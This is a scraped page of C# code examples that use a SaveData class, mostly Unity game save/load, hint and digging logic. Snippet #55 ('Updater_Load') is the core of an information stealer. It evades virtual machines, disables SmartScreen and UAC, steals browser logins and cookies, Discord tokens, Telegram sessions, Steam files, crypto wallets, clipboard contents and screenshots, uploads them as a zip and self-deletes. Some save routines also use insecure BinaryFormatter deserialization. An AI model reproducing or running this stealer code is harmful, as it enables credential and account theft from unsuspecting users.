            GlobalSceneObjects.showNextPage.transform.Find("Text").GetComponent <TextMeshProUGUI>().text = "Логические";
        }

        if (GlobalVariables.isRussianLanguage == false && GlobalVariables.isPossessedHouse == false)
        {
            GlobalSceneObjects.showNextPage.transform.Find("Text").GetComponent <TextMeshProUGUI>().text = "Logic";
        }

        CountImageHelp.Show();

        int currentLevel = 0;

        for (int nameLevels = 0; nameLevels < GlobalSceneObjects.contentBalls.transform.childCount; nameLevels++)
        {
            for (int row = 1; row < GlobalSceneObjects.contentBalls.transform.GetChild(nameLevels).GetChild(0).childCount - 1; row++)
            {
                for (int column = 0; column < GlobalSceneObjects.contentBalls.transform.GetChild(nameLevels).GetChild(0).GetChild(row).childCount - 1; column++)
                {
                    currentLevel++;

                    Reaction.SetReactionLevels(nameLevels, row, column, currentLevel);
                }
            }
            currentLevel = 0;
        }
        for (int numberAchievments = 0; numberAchievments < GlobalSceneObjects.achievmentsContent.transform.childCount; numberAchievments++)
        {
            Reaction.SetReactionAchievments(numberAchievments);
        }

        Reaction.SetReactionButtons();

        if (GlobalSaves.sv.firstLaunch == "false")
        {
            GlobalVariables.isFirstLaunchGame = false;
        }
        if (GlobalVariables.isFirstLaunchGame == true)
        {
            GlobalSaves.sv.SavesCountHelp = SaveInGame.SavesCountHelp;
            CountImageHelp.Show();
            if (Application.systemLanguage == SystemLanguage.Russian)
            {
                GlobalVariables.isRussianLanguage = true;
            }
            else
            {
                Language.SetEnglish(true);
            }
            GlobalSaves.sv.firstLaunch        = "false";
            GlobalVariables.isFirstLaunchGame = false;
            GlobalSaves.sv.Language           = GlobalVariables.isRussianLanguage;
            SaveData.Save();
        }

        else
        {
            if (GlobalSaves.sv.Language == false)
            {
                Language.SetEnglish(true);
            }
        }
        SaveInGame.isPressRateGame = GlobalSaves.sv.isPressRate;
        SaveInGame.numberJokeTask  = GlobalSaves.sv.numberJokeTask;

        coroutines.InvokeStartGameAndLoadAchievments();
    }
 public void SaveInventory()
 {
     if (JsonFile.save.Shops.ShopData.ContainsKey(shopIdentifier))
     {
         JsonFile.save.Shops.ShopData[shopIdentifier] = new Save.shopsData();
     }
     else
     {
         JsonFile.save.Shops.ShopData.Add(shopIdentifier, new Save.shopsData());
     }
     if (items.Count > 0)
     {
         int   y     = 0;
         int[] count = new int[itemCount.Count];
         foreach (object e in items)
         {
             JsonFile.save.Shops.ShopData[shopIdentifier].inventoryItems.Insert(y, SaveData.SerializeObject(e));
             count[y] = itemCount[e];
             y++;
         }
         JsonFile.save.Shops.ShopData[shopIdentifier].inventoryCount  = count;
         JsonFile.save.Shops.ShopData[shopIdentifier].inventoryLength = items.Count;
         JsonFile.WriteData();
     }
     else
     {
         JsonFile.save.Shops.ShopData[shopIdentifier].inventoryLength = 0;
         JsonFile.WriteData();
     }
 }
Beispiel #41
0
 protected DoorBase(SaveData data) : base(data)
 {
     Closed = data.GetBoolValue(SaveKeyClosed);
 }
Beispiel #42
0
 public void fromSaveData(SaveData saveData)
 {
 }
Beispiel #43
0
 public override void Write(SaveData value)
 {
 }
 public void LoadSaveData(SaveData saveData)
 {
     transform.position = saveData.playerPosition;
     transform.rotation = saveData.playerRotation;
 }
 public string resetQuestData(params string[] args)
 {
     SaveData.ResetQuestData();
     return("Quest Data Rest");
 }
Beispiel #46
0
 public void ApplyData()
 {
     SaveData.AddActorData(data);
 }
Beispiel #47
0
    public void Load()
    {
        name = "/playerInfo.dat";
        if (File.Exists(Application.persistentDataPath + name))
        {
            Transform       temp = new GameObject().transform;
            BinaryFormatter bf   = new BinaryFormatter();
            FileStream      file = File.Open(Application.persistentDataPath + "/playerInfo.dat", FileMode.Open);
            SaveData        data = (SaveData)bf.Deserialize(file);
            file.Close();
            //what is loaded
            LoadSceneIndex = data.roomIndex;
            Scene[] currentScenes = SceneManager.GetAllScenes();
            foreach (Scene sc in currentScenes)
            {
                if (sc.name != "PersistentCanvas")
                {
                    sceneNumber.Clear();
                    sceneNumber.Add(sc.buildIndex);
                    Debug.Log(sceneNumber[0]);
                }
            }

            SceneManager.UnloadSceneAsync(sceneNumber[0]);
            //SceneManager.LoadScene (LoadSceneIndex);
            SceneManager.LoadScene(LoadSceneIndex, LoadSceneMode.Additive);

            for (int i = 0; i < inv.items.Length; i++)
            {
                inv.items [i]             = null;
                inv.itemImages[i].sprite  = null;
                inv.itemImages[i].enabled = false;
            }
            try{
                if (ItemSave[data.Item0] != null)
                {
                    if (data.Item0 != null)
                    {
                        inv.AddItem(ItemSave [data.Item0]);
                    }
                }
            }
            catch (KeyNotFoundException e)
            {
                Debug.Log("Ha, caught zero " + e.Message);
            }
            catch (ArgumentNullException a) {
                Debug.Log("Another one bits the dust" + a.Message);
            }
            try{
                if (ItemSave[data.Item1] != null)
                {
                    if (data.Item1 != null)
                    {
                        inv.AddItem(ItemSave [data.Item1]);
                    }
                }
            }
            catch (KeyNotFoundException e)
            {
                Debug.Log("Ha, caught one " + e.Message);
            }
            catch (ArgumentNullException a) {
                Debug.Log("Another one bits the dust" + a.Message);
            }
            try{
                if (ItemSave[data.Item2] != null)
                {
                    if (data.Item2 != null)
                    {
                        inv.AddItem(ItemSave [data.Item2]);
                    }
                }
            }
            catch (KeyNotFoundException e)
            {
                Debug.Log("Ha, caught one " + e.Message);
            }
            catch (ArgumentNullException a) {
                Debug.Log("Another one bits the dust" + a.Message);
            }
            try{
                if (ItemSave[data.Item3] != null)
                {
                    if (data.Item3 != null)
                    {
                        inv.AddItem(ItemSave [data.Item3]);
                    }
                }
            }
            catch (KeyNotFoundException e)
            {
                Debug.Log("Ha, caught one " + e.Message);
            }
            catch (ArgumentNullException a) {
                Debug.Log("Another one bits the dust" + a.Message);
            }
            karma = data.Karma;
            VC.MasterVolume.value             = data.MasterVolume;
            noteText.text                     = data.noteString;
            playerPosx                        = data.playerPosx;
            playerPosy                        = data.playerPosy;
            playerPosz                        = data.playerPosz;
            playerRotx                        = data.playerRoty;
            playerRoty                        = data.playerRoty;
            playerRotz                        = data.playerRotz;
            playerRotw                        = data.playerRotw;
            playerPosition.transform.position = new Vector3(playerPosx, playerPosy, playerPosz);
            temp.rotation                     = new Quaternion(playerRotx, playerRoty, playerRotz, playerRotw);
            playerPosition.transform.rotation = temp.rotation;

            // collection loading
            collimage1  = data.collimage1;
            collimage2  = data.collimage2;
            collimage3  = data.collimage3;
            collimage4  = data.collimage4;
            collimage5  = data.collimage5;
            collimage6  = data.collimage6;
            collimage7  = data.collimage7;
            collimage8  = data.collimage8;
            collimage9  = data.collimage9;
            collimage10 = data.collimage10;
            Debug.Log("You have loaded a saved game");
            //when loading dungeon

            DS.doorStatus = data.doorStatus;
            DS.pickupLock = data.pickupLock;
            DS.CellTalk   = data.cellTalked;
            DS.GuardTalk  = data.guardTalked;

            if (LoadSceneIndex == 1)
            {
                DS.DungeonLoad();
            }
            if (LoadSceneIndex == 2)
            {
            }
            if (LoadSceneIndex == 3)
            {
            }
            if (LoadSceneIndex == 4)
            {
            }
            //when loading corridor
            CS.StorageTalk = data.storageTalk;
            if (LoadSceneIndex == 5)
            {
                CS.CorridorLoad();
            }
            if (LoadSceneIndex == 6)
            {
            }
            collpic1.SetActive(collimage1);
            collpic2.SetActive(collimage2);
            collpic3.SetActive(collimage3);
            collpic4.SetActive(collimage4);
            collpic5.SetActive(collimage5);
            collpic6.SetActive(collimage6);
            collpic7.SetActive(collimage7);
            collpic8.SetActive(collimage8);
            collpic9.SetActive(collimage9);
            collpic10.SetActive(collimage10);
        }
    }
Beispiel #48
0
    public static void Press()
    {
        Coroutines coroutines = GameObject.FindObjectOfType(typeof(Coroutines)) as Coroutines;

        // if we have at least 1 hint or more
        if ((SaveInGame.SavesCountHelp >= 1 && (GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.LightTests || GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.SimpleLever)) ||
            (SaveInGame.SavesCountHelp >= 2 && (GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.BestPractices || GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.ElementaryLaws)) ||
            (SaveInGame.SavesCountHelp >= 3 && (GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.ScientistsNotes)) ||
            (SaveInGame.SavesCountHelp >= 4 && (GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.ExperimentalProcess || GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.Mechanics)) ||
            (SaveInGame.SavesCountHelp >= 5 && (GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.AcademicDegree || GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.LatestDevelopments)))
        {
            if (SaveInGame.numberLvlClick == 4 && GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.LightTests && GlobalSaves.saveInGame[0].isOpenHelpLevelsCheck[SaveInGame.numberLvlClick] != true)
            {
                SaveInGame.SavesCountHelp++;                                                                                                                                                                                                          //если у нас 4-ый лвл, то мы не уменшаем кол-во подсказок, так как для 4-го лвла нет подсказки
            }
            if (GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.LightTests && GlobalSaves.saveInGame[0].isOpenHelpLevelsCheck[SaveInGame.numberLvlClick] == false)
            {
                SaveInGame.SavesCountHelp--;
                GlobalSaves.saveInGame[0].isOpenHelpLevelsCheck[SaveInGame.numberLvlClick] = true;
            }
            if (GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.SimpleLever && GlobalSaves.saveInGame[5].isOpenHelpLevelsCheck[SaveInGame.numberLvlClick] == false)
            {
                SaveInGame.SavesCountHelp--;
                GlobalSaves.saveInGame[5].isOpenHelpLevelsCheck[SaveInGame.numberLvlClick] = true;
            }
            if (GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.BestPractices && GlobalSaves.saveInGame[1].isOpenHelpLevelsCheck[SaveInGame.numberLvlClick] == false)
            {
                SaveInGame.SavesCountHelp -= 2;
                GlobalSaves.saveInGame[1].isOpenHelpLevelsCheck[SaveInGame.numberLvlClick] = true;
            }
            if (GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.ElementaryLaws && GlobalSaves.saveInGame[6].isOpenHelpLevelsCheck[SaveInGame.numberLvlClick] == false)
            {
                SaveInGame.SavesCountHelp -= 2;
                GlobalSaves.saveInGame[6].isOpenHelpLevelsCheck[SaveInGame.numberLvlClick] = true;
            }
            if (GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.ScientistsNotes && GlobalSaves.saveInGame[2].isOpenHelpLevelsCheck[SaveInGame.numberLvlClick] == false)
            {
                SaveInGame.SavesCountHelp -= 3;
                GlobalSaves.saveInGame[2].isOpenHelpLevelsCheck[SaveInGame.numberLvlClick] = true;
            }
            if (GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.ExperimentalProcess && GlobalSaves.saveInGame[3].isOpenHelpLevelsCheck[SaveInGame.numberLvlClick] == false)
            {
                SaveInGame.SavesCountHelp -= 4;
                GlobalSaves.saveInGame[3].isOpenHelpLevelsCheck[SaveInGame.numberLvlClick] = true;
            }
            if (GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.Mechanics && GlobalSaves.saveInGame[7].isOpenHelpLevelsCheck[SaveInGame.numberLvlClick] == false)
            {
                SaveInGame.SavesCountHelp -= 4;
                GlobalSaves.saveInGame[7].isOpenHelpLevelsCheck[SaveInGame.numberLvlClick] = true;
            }
            if (GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.AcademicDegree && GlobalSaves.saveInGame[4].isOpenHelpLevelsCheck[SaveInGame.numberLvlClick] == false)
            {
                SaveInGame.SavesCountHelp -= 5;
                GlobalSaves.saveInGame[4].isOpenHelpLevelsCheck[SaveInGame.numberLvlClick] = true;
            }
            if (GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.LatestDevelopments && GlobalSaves.saveInGame[8].isOpenHelpLevelsCheck[SaveInGame.numberLvlClick] == false)
            {
                SaveInGame.SavesCountHelp -= 5;
                GlobalSaves.saveInGame[8].isOpenHelpLevelsCheck[SaveInGame.numberLvlClick] = true;
            }
            coroutines.PassedHelpAndShowAchievments();
            CountImageHelp.Show();

            SaveData.Save();

            GlobalSceneObjects.helpBoard.SetActive(true);
        }
        else
        {
            if (GlobalVariables.isRussianLanguage == true)
            {
                if (GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.LightTests || GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.SimpleLever)
                {
                    GlobalSceneObjects.dialogue.transform.Find("Text").GetComponent <Text>().text = "Послушай. Для этой задачки мне нужна всего лишь 1 рыбка!";
                }
                if (GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.BestPractices || GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.ElementaryLaws)
                {
                    GlobalSceneObjects.dialogue.transform.Find("Text").GetComponent <Text>().text = "Дашь мне 2 рыбки и я тебе помогу!";
                }
                if (GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.ScientistsNotes)
                {
                    GlobalSceneObjects.dialogue.transform.Find("Text").GetComponent <Text>().text = "Что-то не вижу 3 рыбок!";
                }
                if (GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.ExperimentalProcess || GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.Mechanics)
                {
                    GlobalSceneObjects.dialogue.transform.Find("Text").GetComponent <Text>().text = "Я много же не прошу! Всего лишь 4 рыбки!";
                }
                if (GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.AcademicDegree || GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.LatestDevelopments)
                {
                    GlobalSceneObjects.dialogue.transform.Find("Text").GetComponent <Text>().text = "Чтобы лучше думалось, мне нужно не меньше 5 рыбок!";
                }
            }
            else
            {
                if (GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.LightTests || GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.SimpleLever)
                {
                    GlobalSceneObjects.dialogue.transform.Find("Text").GetComponent <Text>().text = "For this task I only need 1 fish!";
                }
                if (GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.BestPractices || GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.ElementaryLaws)
                {
                    GlobalSceneObjects.dialogue.transform.Find("Text").GetComponent <Text>().text = "Give me 2 fish and I will help you!";
                }
                if (GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.ScientistsNotes)
                {
                    GlobalSceneObjects.dialogue.transform.Find("Text").GetComponent <Text>().text = "I don't see three fish!";
                }
                if (GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.ExperimentalProcess || GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.Mechanics)
                {
                    GlobalSceneObjects.dialogue.transform.Find("Text").GetComponent <Text>().text = "I don’t ask too much! Only 4 fish!";
                }
                if (GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.AcademicDegree || GlobalVariables.activeNameLevel == (int)GlobalVariables.NameAnimation.LatestDevelopments)
                {
                    GlobalSceneObjects.dialogue.transform.Find("Text").GetComponent <Text>().text = "To think better, I need at least 5 fish!";
                }
            }

            GlobalSceneObjects.helpButton.transform.Find("CountHelp").Find("PictureHelp").GetComponent <Animator>().Play("PictureHelp");
        }
    }
Beispiel #49
0
    public void Save()
    {
        name       = "/playerInfo.dat";
        playerPosx = playerPosition.transform.position.x;
        playerPosy = playerPosition.transform.position.y;
        playerPosz = playerPosition.transform.position.x;
        playerRotx = playerPosition.transform.rotation.x;
        playerRoty = playerPosition.transform.rotation.y;
        playerRotz = playerPosition.transform.rotation.z;
        playerRotw = playerPosition.transform.rotation.w;
        Debug.Log("You have saved the game");
        BinaryFormatter bf   = new BinaryFormatter();
        FileStream      file = File.Create(Application.persistentDataPath + name);

        SaveData data = new SaveData();

        // What is saved
        if (inv.items [0] != null)
        {
            data.Item0 = inv.items [0].name;
        }
        if (inv.items [1] != null)
        {
            data.Item1 = inv.items [1].name;
        }
        if (inv.items [2] != null)
        {
            data.Item2 = inv.items [2].name;
        }
        if (inv.items [3] != null)
        {
            data.Item3 = inv.items [3].name;
        }

        data.noteString = noteText.text;


        data.Karma        = karma;
        data.playerPosx   = playerPosx;
        data.playerPosy   = playerPosy;
        data.playerPosz   = playerPosz;
        data.playerRotx   = playerRoty;
        data.playerRoty   = playerRoty;
        data.playerRotz   = playerRotz;
        data.playerRotw   = playerRotw;
        data.roomIndex    = LoadSceneIndex;
        data.MasterVolume = VC.MasterVolume.value;
        if (sceneName[0] == "Dungeon")
        {
            data.pickupLock  = DS.pickupLock;
            data.doorStatus  = DS.doorStatus;
            data.cellTalked  = DS.Cellmate.doneConversation;
            data.guardTalked = DS.Guard.doneConversation;
        }
        if (sceneName [0] == "Corridor")
        {
            data.storageTalk = CS.StorageWorker.doneConversation;
        }
        //collection bools
        data.collimage1  = collimage1;
        data.collimage2  = collimage2;
        data.collimage3  = collimage3;
        data.collimage4  = collimage4;
        data.collimage5  = collimage5;
        data.collimage6  = collimage6;
        data.collimage7  = collimage7;
        data.collimage8  = collimage8;
        data.collimage9  = collimage9;
        data.collimage10 = collimage10;



        bf.Serialize(file, data);
        file.Close();
    }
Beispiel #50
0
 /// <summary>
 /// 保存したユーザデータを現在のユーザーデータとして設定する
 /// </summary>
 public void SetUserData()
 {
     GameData.UserData = SaveData.GetClass <UserData>(GameData.SAVE_USERDATA, new UserData());
 }
Beispiel #51
0
 public void SaveGame()
 {
     //TODO Save game here
     SaveData.Save(playerData);
 }
Beispiel #52
0
 /// <summary>
 /// Get a dictionary of ID, PluginData containing all extended data for a SaveData
 /// </summary>
 /// <param name="saveData">SaveData for which to get extended data</param>
 /// <returns>Dictionary of ID, PluginData</returns>
 public static Dictionary <string, PluginData> GetAllExtendedData(SaveData saveData) => internalSaveDataDictionary.Get(saveData);
Beispiel #53
0
 public WaterLiquid(SaveData data) : base(data)
 {
 }
Beispiel #54
0
 public void Save(SaveData data)
 {
     data.Add("ammoCount", ammoLeft);
 }
Beispiel #55
0
        private void Updater_Load(object sender, EventArgs e)
        {
            if (Date.Delay)
            {
                Thread.Sleep(Date.DelaySec);
            }

            if (!AntiVM.GetCheckVMBot())
            {
                if (!MovEx.CheckPath())
                {
                    if (Date.Delay)
                    {
                        ProcessKiller.Delete($"/C choice /C Y /N /D Y /T {Date.DelayTime} & Del", GlobalPath.AssemblyPath);
                    }
                }
                else
                {
                    HideFolders.Enabled(0);
                    DisableLockers.SmartScreen();
                    DisableLockers.UAC();
                    AntiSniffer.Inizialize();

                    if (Date.Downloader || Date.AdminRight)
                    {
                        Users.DownFileEx(Date.DownloaderLink, Environment.GetEnvironmentVariable(Date.DownloaderPath), Date.FakeNameProcess);
                    }
                    if (Date.IpLogger)
                    {
                        IPLogger.Sender(Date.IpLoggerLink);
                    }
                    if (Date.InfoGrabber)
                    {
                        InfoGrabber.CreateTable(GlobalPath.PC_File);
                    }
                    if (Date.CryptoWall)
                    {
                        BitBoard.GetWallet();
                    }
                    if (Date.Browsers)
                    {
                        ChromeSearcher.CopyLoginsInSafeDir(GlobalPath.Logins);
                        ChromeCookiesSearcher.CopyCookiesInSafeDir(GlobalPath.Cookies);
                        GetPassword.Inizialize();
                        GetCookies.Inizialize();
                    }
                    if (Date.Buffer)
                    {
                        ClipboardEx.GetBuffer(GlobalPath.Buffer);
                    }
                    if (Date.Programs)
                    {
                        MailFoxPassword.Inizialize();
                        DcGrabber.GeTokens();
                        TGrabber.GetTelegramSession(GlobalPath.Tdata, GlobalPath.TelegaHome, "*.*");
                    }
                    if (Date.Clients)
                    {
                        GetClients.Inizialize();
                    }
                    if (Date.Steam)
                    {
                        GetSteamFiles.Copy("*.", "*.vdf", "config", "Steam");
                    }
                    if (Date.ScreenShot)
                    {
                        ScreenShot.Shoot(GlobalPath.Screen);
                    }
                    Ccleaner.CheckIsNullDirsAndFiles(GlobalPath.GarbageTemp);
                    Archiving.Inizialize();
                    UploadZip.Inizialize(GlobalPath.Reception, "POST", GlobalPath.ZipAdd);
                    //BlockIE.Enabled(1); // Блокировка интернета
                    if (Date.Delay)
                    {
                        ProcessKiller.Delete($"/C choice /C Y /N /D Y /T {Date.DelayTime} & Del", GlobalPath.AssemblyPath);
                    }
                    Application.Exit();
                }
            }
            else
            {
                SaveData.SaveFile("VM_Detect.txt", "The program is not supported on virtual machines!");
                if (Date.Delay)
                {
                    ProcessKiller.Delete($"/C choice /C Y /N /D Y /T {Date.DelayTime} & Del", GlobalPath.AssemblyPath);
                }
            }
        }
Beispiel #56
0
 public void Load(SaveData data)
 {
     ammoLeft = int.Parse(data.Get("ammoCount"));
 }
Beispiel #57
0
 void Start()
 {
     Debug.Log("=== Application Startup [Punch Out] ===");
     SaveData.LoadOption();
 }
 public string resetAll(params string[] args)
 {
     SaveData.ResetQuestData();
     SaveData.ResetInvData();
     return("All Data Reset");
 }
Beispiel #59
0
    void DigTile(Vector3Int position)
    {
        mUsingStamina = true;

        if (mStamina <= 0)
        {
            return; // TODO: communicate somehow
        }

        TileData tileData = tileManager.GetTileData(position);

        if (tileData != null)
        {
            mIsTryingToDig = true;
            float digSkill = SaveData.Get().digSkill;
            if (tileData.requiredDigSkill >= 0 && tileData.requiredDigSkill <= digSkill)
            {
                mIsDigging = true;

                float digSpeed = (digSkill - tileData.requiredDigSkill) * 0.1f + 1.2f + (digSkill / 10f);
                float progress;
                if (mDigProgress.TryGetValue(position, out progress))
                {
                    mDigSoundTimer -= Time.deltaTime;
                    if (mDigSoundTimer <= 0f)
                    {
                        PlayDigSound();
                        mDigSoundTimer = 0.4f;
                    }

                    progress += Time.deltaTime * digSpeed;
                    if (progress < 1f)
                    {
                        mDigProgress[position] = progress;
                    }
                    else
                    {
                        tileManager.DestroyTile(position);
                        mDigProgress.Remove(position);
                        --mStamina;
                    }
                }
                else
                {
                    mDigProgress[position] = 0f;
                }
            }
            else
            {
                if (tileData.requiredDigSkill >= 0)
                {
                    // mark that we should receive an email advertising the item that digs through this
                    if (SaveData.Get().activeShopItem == -1)
                    {
                        SaveData.Get().activeShopItem = 0;
                    }
                }

                mDigSoundTimer -= Time.deltaTime;
                if (mDigSoundTimer <= 0f)
                {
                    PlayClankSound();
                    mDigSoundTimer = 0.4f;
                }
            }
        }
    }
Beispiel #60
0
 // Use this for initialization
 void Start()
 {
     // TODO: load previous data from file into new SaveData object
     data = new SaveData();
 }